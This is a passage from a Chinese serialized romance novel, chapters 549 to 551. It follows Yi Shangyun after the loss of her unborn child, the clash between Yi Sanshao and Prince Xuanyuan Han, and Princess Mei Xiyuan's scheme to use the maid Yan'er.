于是,他再也隐忍不住心头的着急与喜悦,上前两步,伸出双手紧紧捉住紫苏的肩头激动不已地问:“你真的寻到丫头了?丫头她……她现在在哪里?” 殊不知,紫苏却早已暗自决定绝对不会向他透露衣上云的半点行踪,可她也是真的不敢看他的脸,只怕是仅仅一眼,自己便会被眼前这个男人的魅力彻底沦陷。 遂只低着头心灰意冷,一脸黯然地道:“来不及了,一切都已经来不及了。” 不明白她此时到底在说什么?易三少转而满脸疑惑地看着紫苏的脸片刻,道:“来不及了?什么来不及了?” 紫苏咬了咬牙,终于抬起头来看着她的眼睛认真地说:“如今在西秦的大街小巷,早已人尽皆知衣府嫡女飞上枝头变凤凰,与西秦秦王受太后赐婚,很快便要大婚了。” 闻此,易三少心中顿觉咯噔一下,松开了附在紫苏肩头的手。 心里惊讶地道:“西秦太后赐婚?与丫头分开短短不过几日,没想到竟然发生了这么多事情!原来紫苏想要对我隐瞒的……是这件事。” 难怪他在回南安的途中甚觉不安,还好让白芷一人先行回国复命,自己返回来了。 遂默想了一阵,再次开口问紫苏:“丫头她……现在到底在哪里?” 见他依旧还是执着至此,紫苏愣了一下。 紧接着,附手过去拽住易三少的一只衣袖,对其祈求道:“三少,不要再继续执迷不悟下去了,你与她之间……是不会有结果的。” 但却始终只见易三少眼神定定的看着自己,只坚持着索要一个答案,对于自己的祈求毫无动容。 紫苏绝望地缓缓收回了手去,深吸口气,也颇为认真地说:“这次无论你说什么,我都不会告诉你衣府嫡女的下落。” 见到易三少眼中的怒火明显愈烧愈烈。 紫苏又道:“不过我倒是可以告诉你另一件事?” 易三少认真地听着。 紫苏说:“她腹中的孩子没了。” “你说什么?”易三少不敢相信地道。 紫苏继续说:“是西秦秦王亲自动的手。” “轩辕翰……你简直不是人。” 易三少说着,紧紧握住了双拳。 “真不敢相信!你可知,西秦秦王之所以这么做,是因为那个孩子会要了她的命……” 紫苏尚且话未说完,便见易三少忽地转过了身去,怒气冲冲地快步离开,似是并没有听到她所说的这句话。 紫苏一见,心里明明早已有了答案,可还是忍不住开口扬声问道:“夜深了,三少你要去哪儿?你这又是何必?” 易三少听闻,顿落回欲要踏出门槛去的脚步停了下来。 紫苏只觉自己心好痛:“三少你为什么到现在还不明白,从始至终,她根本就从未喜欢过你。即便事已至此,三少还是不愿放弃吗?” 易三少立在门口,背对着紫苏道:“无论是谁赐婚,除非丫头亲口告诉我,她是心甘情愿要做轩辕翰的女人。否则,我谁都不信。” 顿了顿,又道:“只要她不愿意,在这个世上,便没有任何人能逼她,除非……我死!” 听闻如此真挚又感人肺腑之言,紫苏泪流满面难过地缓缓走到他的身后。 鼓起了勇气,平生第一次主动从他的身后将他一把紧紧地拥住。 说道:“为什么一定要是她?你是南安最尊贵的男人,你的爱,难道就卑微至此吗?” 顿时间,一股浓烈的花香味袭来,易三少没有说话,俩人一起沉默了片刻后,易三少缓缓抬起手来,终将紫苏的双手无情地拨开。 继而,便头再也不回,步履坚定地离开了逍遥阁。 看着其离去的背影,紫苏的心都碎了。 急匆匆地冲到了门口,倚着门板大喊了一声:“三少……” 却是只见伸手不见五指漆黑的夜里,只剩下一片空寂。 唯有忽一阵狂风骤起,吹乱了满院的落叶,直沙沙作响,在其耳边连绵不绝。 是夜。 不知何时,窗外竟淅淅沥沥的下起了雨来。 夜朦胧,雨朦胧。 打从拓跋泽离开后,经历了一场撕心裂肺的丧子之痛,衣上云紧紧揪住自己的心口,哭了好久好久。 眼看着拂晓将至,一夜未眠。 此刻,她静静地躺在床上一动不动,就连眼睛似是都不眨一下。 只有一只手,仍然似是习惯性地温柔地附在自己的腹部,像是怕极了里面的小家伙再次受到伤害,在警惕地保护他一般。 “对不起,是我没用,是我不该睡着,是我没有保护好你,对不起……” 终于,她自言自语说了一句。 话刚说完,眼角的泪水便再次流了出来。 她如何能接受,前一秒对自己还信誓旦旦,温柔体贴的轩辕翰,下一秒竟会如此狠心。 就算自己曾经亲口对他撒了谎,说那个孩子并不是他的,可他也不能因此就对一个如此弱小的生命下手呀! 可她却又不得不承认,与其相依为命,朝夕相处了一百多天的小生命,就此是真的已经彻底消失不见,再也回不来了。 一场母子情份,还未开始,便就如此匆匆结束。 一念至此,万念俱灰。 仿佛就连自己身上最后仅有的一丝气力也被抽走了一般。 终于,天亮了。 听了一夜的窗外雨打芭蕉的声音。 拖着身心俱疲不堪的身体,衣上云身着一袭白衣,终于缓缓起身下床来,挪步伫立于窗前,凝视着庭院里道道晶莹的珠帘。 过了一会儿,复又缓缓走到门后,伸手将门拉开,顿了顿,迈步朝着雨中走了进去…… 而刚刚过去的这一夜,轩辕翰也是继续马不停蹄地在城中到处寻找着衣上云的下落。 此时,刚刚疲惫不堪地回到了府中。 便有一侍卫快步走了过来,着急地朝其禀报:“启禀殿下,程将军回来了。” 闻之,轩辕翰顿时打起了精神来,问:“在哪儿?” 侍卫道:“程将军一回来便在正殿里跪着,等候殿下发落。” 未及其将话说完,轩辕翰便已疾步朝正殿方向奔去。 一见到主人的身影出现在大殿,程良便低着眼睛道:“属下失职,办差不利,请殿下责罚!” 然轩辕翰却缓缓走到其身旁蹲身下去,将一只手按在他的肩头,只关切地说:“回来便好!快起来!” “殿下……”程良顿抬起头来看着轩辕翰的脸,被轩辕翰扶起身来。 历经艰险,冒着大雨之夜,程良终于带着侍卫们回到了秦王府,见到了主子。 此刻,他的心里甚觉惭愧,却又庆幸自己今生竟还能再见到主人。 主仆俩坐下,轩辕翰才问:“到底发生了什么事?为何会突然失去了联系?” 程良对其幽幽道来:“受主子之命,为保万无一失,属下亲自带人护送药草到龙虎城支援抗疫。可眼看着马上就要到达龙虎城时,却在一郊外的茶馆里被人下了毒。” “被人下毒?”轩辕翰惊愕地道。 程良认真地点了点头,继续说:“属下带着兄弟们一出城,一路上一刻都不敢停下来,生怕耽误了救灾。可数日下来,兄弟们实在是太累了,便在路边停下来歇了歇脚。喝了那茶馆的茶水,便都身中剧毒,各个腹痛难忍。幸亏遇到一老道人经过,方才为我们解了毒。否则,大家怕是都……” 程良回想起往事,至今都觉得极为后怕。 轩辕翰一听,眉宇之间也是当即愤怒至极,遂又着急担心地先问:“那救灾的药草……” 程良忙回答:“殿下放心,那老道长解了属下们身上的毒之后,属下便沿途一路追查。奇怪的是,咱们的药草,最终还是都全数被送到了龙虎城里,用在了灾民的救治上。” “这是怎么回事?”轩辕翰不解地问。 程良摇了摇头,亦是至今都不明白其中缘由,只分析道:“如果是有人故意抢劫,不至于要了属下等人的性命。可也绝对不会是陛下所为……” 轩辕翰道:“他自是不会对龙虎城伸出援手。” “那会是谁呢?”程良疑惑地说。 主仆俩遂一起陷入了沉思之中。 就在这时,易三少忽然神不知鬼不觉地来到了秦王府,出现在轩辕翰的面前。 易三少一见到轩辕翰本人,便怒不可遏地道:“轩辕翰,你个王八蛋。” 说着,上去便是朝其重重地一记拳头落在其脸上…… 第五百四十九章:是不是不要命了? 轩辕翰冷不防地被其击中,嘴角顿时渗出了血来。 程良一见,倏地一下抽出腰间的佩剑来挡在了主人的面前,指着易三少的心口,道:“易三少,你若是再敢一而再,再而三地挑衅秦王府的防卫,休怪我对你不客气!” 紧接着目光微斜,关切地问身后的主人:“殿下,没事吧?” 轩辕翰轻拭掉嘴角的血迹。 易三少语气嚣张地道:“区区秦王府这几个虾兵蟹将,也称得上是防卫?还妄想拦住我易三少的路?如今我就堂而皇之地站在你们面前,有谁发现呢?” 他丝毫不为其所畏惧,哼了哼鼻子:“就算是十个,百个秦王府,也休想!” “易三少,你不要敬酒不吃吃罚酒,今天我程良就让你好好见识见识……” 就在程良愤怒地举剑准备与其一较高下的时候,轩辕翰伸手将其拦住:“退下!” 程良不服气地道:“殿下,此人实在是太可恶了!不仅频频挑衅殿下,还屡屡神不知鬼不觉的出入王府,无视王府和殿下的威严,这次若是不给他一点颜色看看,日后他定变本加厉更加肆无忌惮和狂妄。” 轩辕翰目光定定地看着易三少的脸,程良意识到其坚持后,不得不无奈地收起了剑,默默退后到一旁。 这时,轩辕翰方才缓缓开口说道:“说吧,此次前来,所为何事?” 轩辕翰心里一直都很清楚,易三少每每现身寻他,都是无事不登三宝殿。 他自是也清楚,每次他的出现,都与衣上云息息相关。 果然,易三少开口便是问他:“丫头在哪儿?我要见她。” 闻此,轩辕翰还是愣了一下,继而嘴角一勾,冷笑了一阵,转身回到茶几旁落座下。 一边煮茶,一边故作一副气定神闲地道:“本王想你应该已经知道了云儿她已经是本王的王妃。如今,你堂而皇之上门来找本王的王妃,此举……极为不合适吧?” “你的王妃?”易三少不以为然地道。 他亦毫不示弱:“丫头她尚还未与你行大婚之礼,便就还不是你的王妃。既然如此,她要见谁便都是她的自由。你又不是她,有什么资格替她做主?如今我要见她,你又何来不合适一说?” 他反而质问起轩辕翰:“反倒是你,以为仗着自己身为皇亲国戚,便可强抢民女,还美其名曰什么太后赐婚。你可曾问过,丫头她可心甘情愿?如今,你将丫头强行扣留在这里居心叵测,又是何用意?” 轩辕翰一再忍气吞声,可终还是被其激怒,遂将重重的一巴掌拍在了面前的案几上:“够了,易三少。” 继而霸道地说:“本王想做什么,想要什么,从来都不需要经过任何人同意。本王对你一再忍让,你休要得寸进尺。” 见其已然恼羞成怒,可易三少又怎会怕他,而就此作罢。 只要一想到紫苏昨夜的那些话,他便伤心不已,更为衣上云独自默默所做的一切感到不值。 遂兀自黯然地继续说:“是啊,你高高在上,手轻轻一挥便可呼风唤雨,想要的自然唾手可得。可你怎能如此对待丫头?还是你真以为丫头怀的是我的孩子?” 轩辕翰不知易三少到底想说什么。 易三少咬了咬牙,接着说:“你知不知道,其实丫头所怀的……是你的骨肉,在她的眼里和心里,从始至终,都只是一个你而已。” 轩辕翰顿惊看向他的眼睛,喃喃道:“你说什么?那真的是……” 易三少顿了顿,又说:“从始至终,我……也只不过是她用来堵你的借口罢了。” “那果然是本王的孩子,本王就知道,那一定是本王的孩子。” 即便自己一直对此信心满满,可当从易三少的口中亲自证实了这一点时,轩辕翰还是忍不住内心激动不已。 “虎毒尚且还不食子,你怎能忍心对她下手……”易三少怎么都不敢相信,可又不得不信。 “轩辕翰,你真不是人!”易三少继续伤心无力地道。 一室寂静,俩人就此各自深陷在各自沉沉的思绪之中。 半晌后,易三少忽然开口说:“既然你已经不爱她了,那就请高抬贵手放了她,让我带她走。” 轩辕翰坚定地道:“不可能!对她,这辈子,本王都不会放手,除非本王死!” 霎时间,两双同样目光如剑的眼睛紧紧对视在一起。 不知过了多久,易三少先收回怒视着轩辕翰的眼神,忽然开口说:“既然如此,那就只能让丫头出来自己选了。” “让她自己选?”轩辕翰若有所思地重复着道。 易三少道:“怎么?你怕了?怕她认清你是个伪君子,是个连自己亲生骨肉都不肯放过的杀人狂魔。” 轩辕翰对此确实无言以对,他的良苦用心终归是如同哑巴吃黄连一般,有苦说不出,也不能说。 看着主人满腹心事说不出的样子,刚回到府里尚还不知道发生了什么的程良只能愣愣地立在一旁干着急:“殿下,这到底是怎么回事?” 只闻轩辕翰最后默默地道:“本王也希望,此刻,她要是真的在府里,那便好了。” 易三少一听,顿时惊声道:“你说什么?丫头她不在秦王府?” 轩辕翰扬起满脸疲惫来说:“只要她回来,就算她要打要骂,即便是想杀了本王,本王也心甘情愿。只要她平安,本王只想看到她平平安安的,如此,怎样都好!” “轩辕翰……你……那你还坐在这里干什么?”闻此,一时间,易三少又急又气,都不知该说他些什么了。 轩辕翰无奈地道:“自从得知那夜她在衣府门前失踪后,本王便亲自带人马不停蹄地在城中到处寻她的踪迹,可至今……都没有寻到半点音信。” 话刚说完,轩辕翰忽回过神来问:“对了,你又是从哪里得来的消息,知道她已经……” “丫头不在秦王府,那她还能去哪里?”易三少侧身立在一旁,心里急急思索着,似是并没有听到轩辕翰的问话。 沿着紫苏的线索,忽然,他回想起昨夜离开逍遥阁的时候,紫苏上前来主动拥住他的那一刻,他闻到了一股浓烈的花香味。 “那花香是……” 易三少顿然醒悟,急急夺门而去。 轩辕翰似是也发现了易三少有什么新的发现,便倏地起身来紧随其后,跟了上去。 “殿下……”程良喊着,亦紧步上前追随而去。 距离百草谷不远处,有一个鲜为人知名曰——杜鹃谷的美丽小山谷。 眼下,正是满山谷遍地的杜鹃花盛开的季节。 杜鹃谷掩映在一片青翠的山林之中,高处有几座小木屋及一个美丽的大院子,背靠青山,被一片绿意盎然所簇拥着。 站在木屋的阳台上,可以俯瞰整个小院及山谷景致。 沿着石阶向下,经过一座木门后映入眼中的是一精致的园林景致。 沿途缓缓的山坡上,种满了一簇一簇的杜鹃花,花间是各式各样的石头、小桥、流水。 除了杜鹃花外,亦有参天大树,野花野草,走在杜鹃谷的小道上甚是令人心旷神怡。 沿着小道走许久,你会以为已经走到了杜鹃谷的尽头,却没想到峰回路转还大有乾坤。 再跨过一道木门,出现在眼前的是一处更精致的景致。 青石、小亭、绿植、湖水,以及点缀其间的杜鹃花,氛围颇具诗意。 这里还有一间雅致的茶室,颇具特色。 雨天山涧的石阶,因为雨水的冲刷和青苔而变得更加光滑。 一般人,很难正常地在上面行走。 而衣上云从木屋里出来后,经过院子,一路就这样踉踉跄跄地向下而行,一直走到了茶室所在的院子。 她自是也漫无目的,不知道自己要走去哪里? “天大地大,我到底该何去何从?” “老天爷啊!为什么要这样对我?” “为什么?” 本就身着单薄的一袭白衣,此刻早已被雨水浇灌透彻。 雨越下越大。 直至大雨滂沱,打在人身上让人痛的直哆嗦,眼睛更是都很难睁开。 可仿佛也只有身上痛了,心才不会再觉得那么痛。 “对不起,对不起……”可一想到刚刚失去的那个孩子,她便忍不住不停地道歉。 终于,她再也坚持不住,扑通一声,整个人倒在了地上。 此刻,因为这场大雨被困在此处,正在茶室里独自泡茶沉思的拓跋泽透过窗棂,一看到院子里的身影。 顿惊立起身来,踱步到门口。 远远地,一看到地上衣上云一动不动的身影,拓跋泽来不及拿伞,拔腿便朝其疾奔过去。 将她一把从冰冷的地上捞起,横抱了起来。 朝其破口痛骂道:“你这个愚蠢的女人,刚刚小产,不好好在房内躺着修养,大雨天就这样单薄的出来淋雨,是不是不要命了?” 拓跋泽说着,抬头看了看头顶高高在上,如耸云端一般的那些木屋,不禁后怕地惊声道:“你到底是怎么下来的?” 而衣上云似是已经看不清眼前的人究竟是谁,意识变得混乱起来。 奄奄一息,眼睛一闭一合,有气无力地问他道:“请你告诉我为什么?为什么要这样对我?我到底做错了什么?” 第五百五十章:不足泄愤 当拓跋泽将衣上云抱进茶室,小心翼翼地放到东头暖榻上的时候,衣上云已经彻底昏了过去。 他伸手掐了掐她的人中,见其并无任何效果。 心里一急,又忽然大力地摇晃起她瘦弱的身体,并疾声呼唤起来:“喂,蠢女人,醒一醒,醒一醒……” 可衣上云始终紧闭着双眼,一动不动,对其呼喊显然一点儿回应也没有。 霎那间,他的内心竟莫名的紧张害怕了起来。 回想他这一生,有过多少无情的杀戮与掠夺,见过多少生离死别。 他永远都不知道,在自己的刀剑之下,有多少可怜的亡魂,可却都从未眨过一下眼睛,更无一瞬间令自己感到如今这般地害怕与无助。 这一刻,他自己都不知道自己到底在害怕些什么? 就这样手足无措,怔怔地凝视着衣上云的脸,不知过了多久。 他忽然一把用力地将她抱紧,将其脑袋紧紧地贴到自己的胸口处,诚挚地祈求。 “别死……” “求你别死……” “不要死……” “不要……” 就在这时,许是因为他的力气太大,陷入昏迷中的衣上云忽然像是被什么东西呛住了一般,发出一阵阵咳声来:“咳……咳咳……咳咳咳……” 紧接着,眼睛微微动了动,终于再次缓缓睁了开来。 拓跋泽一见,这一刻,在他的脸上,忽然开心地像个孩子一样,惊喜地道:“谢天谢地,你总算是醒了,太好了,真是太好了……” “水……”衣上云迷迷糊糊,直觉自己口渴异常,遂无力虚弱地道。 拓跋泽这才回过了神来,忙道:“哦,对……你方才淋了雨,我得去给你煮些红糖姜汤服下才好。” 说着,便急急将衣上云的身子复又放下,去到一边忙着煮姜汤。 可尽管已经给其保暖,并悉心地为其灌下了不少浓浓的红糖姜汤。 晌午时分刚过,衣上云最终还是发起了高烧来。 很快,就连其整个意识也都再次沉沉地陷入了迷迷糊糊之中。 只闻其口中时而依稀可闻地发出阵阵呢喃声来。 “对不起,对不起……” “孩子……我的孩子……” “魏明轩,你怎么还不回来……怎么还不回来……” “原谅我,原谅我……” “都是我的错,这一切都是我的错…………” “殿下,那可是我们的孩子,你怎能……你怎能……” 闻此,拓跋泽方才顿觉惊诧地道:“那孩子竟是秦王轩辕翰的!可又怎会传闻是南安太子的呢?这到底是怎么回事?” 然只思索片刻,他显然已来不及关心这个问题,因为衣上云接下来的情况愈来愈糟糕。 拓跋泽不得不停地忙碌着,更换敷在衣上云额头上的湿巾,然却似是一点儿用都没有。 眼看着她高热久久不退,面红耳赤,意识混乱不堪。 拓跋泽忧心万分,自言自语道:“不行,再这样下去,这个女人一定会没命的。” 他眼睁睁地看着她的脸,却又毫无办法。 此时,再看看外面的天,倾盆大雨真真像是从天上往下倒一般。 “不行,无论如何,必须得想办法找个郎中回来给她看看才行。” 一念至此,拓跋泽倏地起身来便朝雨中冲了出去。 而此时,在城中的客栈里,二楼一角落。 梅汐媛与陆天骄俩人正一边等待着拓跋泽的归来,一边博弈打发时间。 梅汐媛落下一枚黑子,紧接着捧起一旁的的茶盏,轻抿了一口热茶。 心中隐隐觉得拓跋泽这几日有些不对劲,便问与其一道坐着喝茶聊天的陆天骄。 “你觉不觉得拓跋泽近日里总是神出鬼没的,有时候大半天都不见他人影,妹妹可知道他在忙些什么?” 陆天骄回忆了片刻,亦落定了一枚白子,不解地道:“想想的确是有些不对劲,这几日里,咱们总是很少见到他。且自打那夜回来之后,关于那个贱人的事情,也便再没有新的进展了。” “那夜……”说起那一夜来,梅汐媛稍加思索,问:“那夜你们是一起回的客栈吗?没有发生其他什么事?” 陆天骄再次仔细回想了一阵,最后十分确定地说:“那夜,我们的确是一起回来的呀!途中也并未见他单独离开过。” 闻此,梅汐媛也只能无奈地作罢,遂缓缓放下了手里的茶盏,再落一子。 移动目光望向窗外的大雨,心里烦闷不安地道:“看今儿这雨,真是犹如老天破了个洞一般,要下个没完没了了。” 陆天骄复又落下一子后亦放下茶盏,追随其目光,却说:“据说这种天气,在世间的某个角落里,一定有莫大的凄惨之事发生。也不知是哪个晦气的招来的这雨,害得咱们被困此处,不得出门。” 见梅汐媛并未接其话茬,陆天骄不知心里又想起了什么,忽扬起一抹狡黠的笑来说:“不过说起来,拓跋泽这个人,的确还是有几分小聪明!如今,龙虎城的疫情已然解除,城里到处可都在对姐姐歌功颂德呢!姐姐这次,可谓是真正的深得民心了呢!” 终于,在毫无颜面地离开秦王府后,梅汐媛也总算是有了一件让自己略微觉到欣慰的事。 遂冷哼了一声,道:“算他这次总算是没有让本公主再次失望,否则,本公主一定要他好看。” 可一想起,终究还是没能将那些护送药草的轩辕翰的人一并除掉,又咬牙切齿地道:“只可惜,这次没能将秦王的左膀右臂,尤其是那个副将程良一并除掉,如此,便不足以让本公主泄愤。” 闻此,陆天骄渐渐卸去了脸上尴尬的笑容,附和着道:“这还不都怪那个多事的老道儿,只是不知他究竟是什么人?竟连拓跋泽的独门毒药,就连拓跋泽本人亦无药可解的毒也解得了。” 谁说这个结局令人不意外呢?于是俩人一道陷入了对那个神秘老道的猜想之中。 顿了顿,陆天骄又问:“对了姐姐,正所谓打铁要趁热,接下来,不知姐姐做何计划?” “是啊,接下来,她又该怎么做,是该找人好好计划计划了!如今之际,怕只怕一着不慎,满盘皆输。” 就在梅汐媛暗自沉思时,窗外忽然传来一阵嘈杂的声音,将二人各自的思绪打断。 陆天骄摆了摆手,唤来了立在窗边的店小二,问:“外面发生了什么事?” 店小二答道:“二位客官,是外面街上有个小丫头昏倒在大雨之中,周围有人围着看热闹呢!” 陆天骄听了,只道:“今儿这么大的雨,从昨夜便开始下起,为何有人还要出来在街上行走?” 店小二解释道:“看着好像是有挺着急的事儿,似是在街上寻什么人!” “这么大的雨,这街上哪儿来的人?顶多也就偶尔有几只耗子经过吧!”陆天骄不解地道。 店小二道:“这丫头看起来是在街上挨家挨户地找呢!整个人都被大雨淋透了。” 陆天骄笑话道:“挨家挨户找人?她怕不是疯了,就是傻了吧!知道西秦皇城有多少家店铺,多少户人家嘛,真有勇气在这儿挨个地找……” 店小二显然对其冷漠无言以对,于是便也不再搭话。 陆天骄最后说了句:“好了知道了,你去忙你的吧!” 就在店小二对其颇为无语的转身正欲离去的时候,梅汐媛忽然开口阻止道:“等等。” 无奈,店小二复又回头没有好脸色无奈地问:“请问客官还有什么需要的吗?” 只见梅汐媛缓缓站起身来客气地说:“可否劳烦你带我下去看看?” 顿时,店小二吃惊不已,愣了一下,忙伸手朝着楼梯方向道:“当然可以,客官这边请。” 见此,陆天骄吃惊不解地道:“姐姐你怎么……” 梅汐媛笑着道:“妹妹你先回房歇着吧,左右都是闲来无事,我下楼去看看,稍后便回来。” 陆天骄忙起身来,道:“那我也随姐姐一道去吧!” “如此也好!” 梅汐媛说着,便与陆天骄一道在店小二的带领下匆匆下了楼。 “这是谁家的丫鬟呀,衣服都湿透了,真可怜!” “这么大的雨还跑出来,想必一定是有很着急的事儿。” “姑娘,醒醒,醒醒呀!” “这会不会是个骗子呀?” “看着衣着质地与打扮,倒不像是个穷人家的孩子。” “她刚才好像在找什么人呢,一出门忽然就晕倒了。” “听说好像是在找她家小姐。” “对,说是她家小姐已经失踪了三天三夜了。” “哎呦,怕不会是糟了什么意外了吧……” “呸呸呸……不要瞎说……” “不如我们报官吧?” 一下楼,便见街上聚集着几个看热闹的人,将地上躺着的一个已经陷入昏迷的小丫头团团围住,七嘴八舌地议论纷纷着。 但却不见一人朝其伸出援手。 只见一片阴沉沉的天空下,冰冷的雨水,无情地拍打在小丫头瘦弱的脸庞上。 “劳烦请让一让,让一让……” 这时,店小二打着伞,急急走在前面,将聚集在一起的人群驱散开。 继而迎来后面的梅汐媛与陆天骄,说道:“就是这个小丫头。” “怎么是她?” “怎么是她?” 岂料,俩人上前来一看,竟顿时异口同声地道…… 第五百五十一章:留着她 梅汐媛与陆天骄俩人上前刚一看清楚那小丫头的脸,顿时面面相觑地问对方。 “姐姐你认得她?” “妹妹可是识得此人?” 可来不及仔细询问,看到浑身湿哒哒正昏躺在冰冷的雨水中的小丫头,梅汐媛顿时着急地对店小二说:“可否再劳烦小哥,帮忙赶快将这小丫头挪到我的房间里去?” “这个嘛……” 许是顾忌到东家一定会责备自己多管闲事,店小二伸手摸了摸自己的后脑勺,又看了看身后不远处的客栈,脸上明显有些为难。 梅汐媛忽然反应了过来,急忙从身上摸出一锭银子,塞到了店小二的手里。 接着说道:“你有所不知,这位姑娘的确不是什么骗子,她乃是我的救命恩人,拜托小哥了。若是到时掌柜的为难,一切后果由我一人承担。” “好吧好吧,救人一命胜造七级浮屠,既也是姑娘的一片善心,今儿我就豁出去帮你了。” 店小二说着,便将银子揣进兜里,遂弯腰下去一把将地上的小丫头背了起来,快步朝着客栈里飞奔进去。 “谢谢,谢谢你。”梅汐媛朝其真心地致谢道。 一回到客栈的房间里,梅汐媛便命人替小丫头换上了一套干爽的衣裙。 并亲自喂其服下了浓浓的驱寒姜汤,见其脸色渐渐红润起来,也已发出了密密的细汗,方才安心了下来。 最后,她亲自帮其擦拭掉额头渗出的汗水,替她悉心地捻好被角,方才缓缓起了身来。 这时,陆天骄方才开口说道:“没想到,原来那日救姐姐的,竟是这个小丫头,这还真是让人意外呀!” 想起那天自己的危险经历,梅汐媛显然至今都还觉得有些后怕。 她兀自坐下,轻抿了一口热茶,缓缓说:“那日若不是这个小丫头及时出现,我怕是早就……” 终究是想都不敢往下想去,梅汐媛默默地收了声。 遂一想到店小二方才所说的话,转而只赞叹又好奇地说道:“没想到就连一个小丫头都如此勇敢、无畏又衷心,想必调教她的小主人,定是更加与众不同。” 陆天骄听了,兀自将手里的一口茶汤咽下,冷冷的笑了一声,说:“哼……这个小丫头的主人,她的确还是与众不同呢……” 闻此,梅汐媛这才回过了神来,问:“对了,妹妹你又是如何认得这个小丫头的?” 陆天骄道:“她乃是城西衣府的婢女。” “城西衣府?” 梅汐媛一听,顿有些惊讶,似是隐隐感觉到了什么,可又不敢相信地想要再次证实:“妹妹你是说……” 陆天骄一字一顿,清清楚楚地告诉她道:“此人就是衣上云的贴身丫鬟,名唤燕儿。” “燕儿……” 听到陆天骄竟将这个小丫头的名字都脱口即出,梅汐媛心里顿觉一阵晴天霹雳地望向陆天骄的脸。 紧接着,遂将目光倏地移动向了床上躺着的燕儿的侧脸。 一时间里,内心所有积聚的仇恨全都一涌而上。 只见梅汐媛缓缓起身来,再次过去愤怒地瞪着燕儿的脸,暗自悄悄地握紧了双拳,心里恨得牙直痒痒:“没想到,你竟是那个贱人的婢女。” 霎时间,那日里俩人在亭子里所交谈过的话,复又再次清晰地在她耳边回响起来。 “怎么?看来知恩必报,温柔善良的姐姐此刻是想要改变主意了?”陆天骄见其愣住,在一旁漫不经心地说着风凉话。 一边说,亦悄悄立起身来走到了梅汐媛的身旁,在其耳边继续怂恿说:“要不要妹妹叫人来把她拖出去悄悄处理掉,然后丢去喂狗呢?方才姐姐还不是说自己不足泄愤吗?若是这个小丫头死了,想必那个贱人,一定会伤心欲绝的。” 岂料梅汐媛思虑片刻,竟于嘴角微微勾出一抹弧度来道:“不,留着她,我自有用处。” 陆天骄正在暗自琢磨其心思,梅汐媛吩咐她说:“你亲自去找掌柜的,让他再帮我们多安排一间上等的屋子。另外再多给他一些银两,让他派刚才那个伙计去请一个郎中回来,好好替这个小丫头仔细瞧瞧。” “你这是要做什么?”心里虽极为不解,可见梅汐媛不再说话,无奈陆天骄却也只能照办,答应着:“我这就去安排。” 紧接着,转身便离开了房间。 因为燕儿的出现,使得本来大雨天生意就淡了许多的客栈收入总归是多了几分。 所以,店小二因此也并未被掌柜的责罚。 前后约摸着有两个时辰左右的样子,经过郎中的悉心诊治,燕儿昏昏沉沉地终于再次睁开了眼睛。 许是满脑子里都是寻找失踪了的衣上云的事情,燕儿一睁开眼睛来,便迷迷糊糊地将出现在自己视线里的梅汐媛当成了她心心念念的主人。 一边挣扎着起身来,一边虚弱地喊着:“小姐,小姐你终于回来了……” 梅汐媛看见燕儿苏醒,亦忙俯身下去将其一边扶起身来,一边欣喜地道:“谢天谢地,燕儿,你终于醒了!” 燕儿这才近身看清楚出现在自己面前的这张脸,遂惊诧地道:“你是……” 梅汐媛意识到那日里一定是自己遮了帏帽,想必这个丫头一定没能认出自己,便望向身旁立着的婢女。 婢女忙拿出早已经清洗干净,并折叠地整整齐齐的燕儿熟悉的那方绣着比翼双飞的两只燕子的丝帕上前递上,并说道:“那日多亏姑娘出手相救,我和我家小姐方才得以脱险,大恩大德,无以为报。” 燕儿伸手接过时,方才仔细看了一眼那婢女的脸,遂认出了眼前俩人,惊讶地道:“是你们!” 梅汐媛点了点头,笑着道:“没错,是我们,看来咱们还真是有缘呢!这么快便再次相见了。” 燕儿虽心事重重,朝其亦淡淡地笑了笑,放眼环视看了看宽敞明亮的房间,问:“这里是……” 婢女忙介绍说:“这里是我们暂居的客栈,这是我家小姐特意为姑娘选的天字号房。” 燕儿却只纳闷地道:“客栈?你们怎么会在客栈,怎么不回家呢?” 梅汐媛缓缓解释说:“实不相瞒,其实我们是打从城南来的,本想在京城里置办些货品,因为一些事,故而耽误了回程。方才见你昏倒在大雨的街上,这才将你带回来这里。” “原来如此,燕儿谢谢你们。”燕儿听了,低头欲朝其致谢。 梅汐媛伸手忙将她阻止,说道:“举手之劳而已,相比起姑娘之前对我们的恩情,这又算得了什么?” 说完,又吩咐身旁的婢女:“好了,这里不需要你了,下去看看姑娘的药煎好了没有?” “是”婢女一边答应着,一边退了下去。 梅汐媛接着热心地道:“你的身子还没有完全恢复,郎中说需要卧床好好休养,还是再躺一会儿吧。” 闻声,燕儿忽然着急了起来,说:“不行,我还有要事,必须得赶快离开了。” 说着,便一把掀开了被子,想要下床来。 梅汐媛忙阻止道:“就算你有再急的事情,也要先把自己的身子养好。你现在如此虚弱,哪儿都去不了的呀。” 燕儿完全不顾其劝解,固执地道:“不行,我得去找我家小姐,小姐她出事了,她一定出事了,我得去救她,你不要拦我,我一定要去救她。” 燕儿虽然长得瘦弱,可因为打小就是伺候人的,倒是也有几分力气,梅汐媛竟一点儿也阻止不了她,三两下便被推到了一边。 可虽然挣脱了梅汐媛的阻拦,却终还是难敌身体上的不适。 刚一立起身来,便摇摇晃晃地站立不住了。 梅汐媛眼看着她马上就要倒地,忙伸手将其扶住,生气地道:“你这个小丫头,脾气怎么这么倔呢?骨子里,倒还真是和你家小姐有几分相似。” 燕儿回座到床边,倚着床栏,气喘吁吁地道:“你……你怎么知道我家小姐……你认得我家小姐?” 梅汐媛顿觉自己失言了,忙掩饰说:“我怎么会认得你家小姐?我只是见你如此,想着你家主人平日里定也是你这般样子。” 可一说起衣上云来,燕儿心里一急,居然哭了起来:“呜呜呜……” 梅汐媛急忙安慰她:“好了好了,你就不要哭了嘛,怎么哭起来了呢?” 说着,心里忽然又升起一个主意来:“不如,你跟我讲讲你家小姐的事情吧。或许,我可以帮上你呢?” 闻此,燕儿吸了吸鼻子,看向了梅汐媛的脸…… 两个人促膝长谈了许久,梅汐媛这才明白,原来衣上云打小也是一个极可怜的人。 可也不得否认,她是一个善良、勇敢又坚强的女子,能够独自面对人生中那么多的歧视与挫折,难怪轩辕翰对她痴迷至此。 她甚至还想,如果不是因为轩辕翰,她们甚至可能还会成为很好的朋友。 此刻不得不说,世事总是造化弄人。 就在梅汐媛陷入沉思时,燕儿忽然问:“对了,燕儿还未请教小姐贵姓呢?刚才听小姐说是打城南来的,可听着小姐的口音,却不像是西秦人。” 梅汐媛顿时回过神来,为难地说:“我……” 